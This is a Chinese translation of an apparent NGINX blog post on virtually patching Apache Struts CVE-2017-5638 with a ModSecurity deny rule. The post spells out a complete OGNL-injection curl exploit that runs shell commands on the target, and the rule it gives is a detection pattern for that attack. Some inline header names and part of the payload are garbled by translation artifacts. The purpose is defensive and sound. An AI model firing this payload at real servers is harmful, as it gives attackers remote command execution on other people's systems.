使用 ModSecurity 虚拟修补 Apache Struts CVE-2017-5638

在应用程序代码使用的库中发现了许多安全漏洞。当快速部署修复库中的代码不切实际时,您可以使用 ModSecurity 拦截漏洞,“虚拟修补”受影响的代码,直到您可以升级受影响的库。

Apache Struts 应用程序库漏洞 ( CVE-2017-5638 ) 导致Equifax 的 1.43 亿个帐户遭到破坏,这是一个可以虚拟修补的漏洞利用示例。该漏洞的特征是、或HTTP 标头中存在#cmd=#cmds=字符串。(有关更多详细信息,请参见下文。)Content-TypeContent-DispositionContent-Length

使用 ModSecurity,我们可以创建一个带有简单规则的虚拟补丁,在受影响的 HTTP 标头中搜索恶意字符串:

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

我们用 定义规则SecRule,提供三个参数:

  1. 要搜索的请求标头,以三个REQUEST_HEADERS变量 OR'ed的形式
  2. PERL 兼容的正则表达式 (PCRE),由 指定@rx,用于在指定的请求标头中搜索字符串,包括#cmd=#cmds=
  3. 采取的行动

如果 ModSecurity 配置为主动阻止模式,它会丢弃与 PCRE 匹配的所有流量,从而触发规则。

通过我们的电子书了解如何开始使用 NGINX 和 ModSecurity:ModSecurity 3.0 和 NGINX:快速入门指南

为什么选择虚拟补丁?

在很多情况下,在 ModSecurity 中部署规则比修补受影响的代码、重新测试然后部署到生产环境更快。

以 Apache Struts 漏洞为例:因为 Struts 是一个应用程序库而不是操作系统包,所以在企业生产环境中更新它可能需要一些时间。作为升级到新版 Struts 的一部分,每个依赖于 Struts 的应用程序都需要重新构建并使用最新的 Struts 库进行测试。一个大型组织可能有数百个应用程序,每个应用程序都有自己的 Struts 应用程序库版本,因此在每个应用程序更新之前都容易受到攻击。

有了 ModSecurity 自定义规则,您就可以按照合理的时间表仔细地修补生产软件,而不会受到易受攻击的压力。更新所有受影响的软件后,即可停用自定义规则。

CVE-2017-5638 漏洞利用的工作原理

Apache Struts CVE-2017-5638是一个远程命令执行 (RCE) 漏洞。这种类型的漏洞允许攻击者在目标系统上运行任意命令,例如/bin/bashor 。cmd.exe有了这种能力,攻击者就可以在文件系统和网络中搜索敏感数据,具有与 Java 应用程序服务器相同的访问级别。例如,如果 Java 应用程序服务器运行为root,则攻击者root对目标系统具有特权。

根据官方 CVE的说法,当攻击者发送格式不正确的 、 或 HTTP 标头时,就会出现Content-TypeContent-Disposition漏洞Content-Length。当这些 HTTP 标头与任何预期值不匹配时,Apache Struts 会引发异常。出现此问题的原因是异常处理代码尝试打印未转义的无效标头。(在这种情况下,“未转义”是指可疑命令之前没有添加阻止它们执行的字符 -转义字符 - 就像打印代码时通常所做的那样。)

攻击者可以将对象图导航库  (OGNL) 表达式放入Content-Type标题中。OGNL 具有运行系统命令的能力。当打印未转义的无效标头时,将评估 OGNL 表达式,并执行 OGNL 表达式中的任何系统命令。

漏洞利用通常是curl以下命令的变体。

curl -H "Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

关键语法在命令的后半部分:每个字符串#cmd=和一个实例#cmds=(上面突出显示)。每个字符串后跟要运行的系统命令。

概括

首选的解决方案始终是立即修补易受攻击的软件。但是修补生产软件可能很耗时,而且匆忙更新可能会有风险。使用 ModSecurity 为易受攻击的软件创建虚拟补丁可以赢得时间。

通过虚拟修补,您可以创建自定义 ModSecurity 规则来阻止可能利用安全漏洞的流量,例如CVE-2017-5638。通过这样做,您可以保护您的网站免受攻击。然后,您可以按照合理的时间表仔细地修补生产服务器,而不必担心在此期间受害。

如果您想了解有关 ModSecurity 和 NGINX ModSecurity WAF 的更多信息,请下载我们的电子书ModSecurity 3.0 和 NGINX:快速入门指南。

资源

  • CVE-2017-5638  – 官方 CVE 通知
  • CVE-2017-5638:Apache Struts 漏洞剖析 ——漏洞的有价值概述
  • Apache Struts 安全公告 S2-045  – Apache Struts 页面上的安全漏洞,以及解决方法
  • 用户评论 ArsTechnica 论坛用户评论 – 解释为什么修补 Apache Struts 并不容易

你可能感兴趣的:(struts,apache,java)